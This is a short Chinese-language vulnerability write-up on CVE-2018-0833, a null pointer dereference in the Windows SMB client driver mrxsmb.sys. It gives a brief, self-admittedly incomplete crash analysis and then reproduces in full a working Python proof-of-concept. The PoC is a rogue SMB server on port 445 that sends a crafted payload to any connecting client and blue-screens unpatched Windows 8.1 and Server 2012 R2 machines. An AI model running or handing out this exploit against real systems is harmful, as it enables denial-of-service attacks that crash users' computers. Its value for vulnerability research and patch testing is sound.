影响范围

  • Microsoft Windows Server 2012 R2 0
  • Microsoft Windows RT 8.1
  • Microsoft Windows 8.1 for x64-based Systems 0
  • Microsoft Windows 8.1 for 32-bit Systems 0

漏洞分析

实验环境: Microsoft Windows 8.1 x64

32 位下SMB的头结构:

poc发送了带有0xFD头部的SMB数据包,而之前并没有进行会话协商。

具体漏洞形成原因:

崩溃发生在mrxsmb.sys模块,用于SMB消息的重定向,具体在mrxsmb!SmbWskReceiveEvent+1a921处: movzx ecx,word ptr [rax+48h],此时rax的值为0,零地址为无效地址,对其引用造成崩溃蓝屏。

进入SmbWskReceiveEvent函数进行查看,在处理SMB消息包时,会检查加密是否开启,如果未开启,则要r15d的值与0x34比较。

如果大于0x34则进入下一处比较:

参考作者的分析文章,作者也没有分析清楚,只是大概讲了程序流程,该漏洞也没有太大的研究意义,所以写到这,做个记录

poc代码

# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833

import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
        def handle(self):
                try:
                        print "From:", self.client_address
                        print "[*]Sending Payload..."
                        self.request.send(unhexlify(payload))
                except Exception:
                        print "BSoD Triggered on", self.client_address
                        pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()

参考链接

https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability/

http://www.vfocus.net/art/20180228/14283.html

http://toutiao.secjia.com/cve-2018-0833

SMB 消息结构:https://msdn.microsoft.com/en-us/library/ee441702.aspx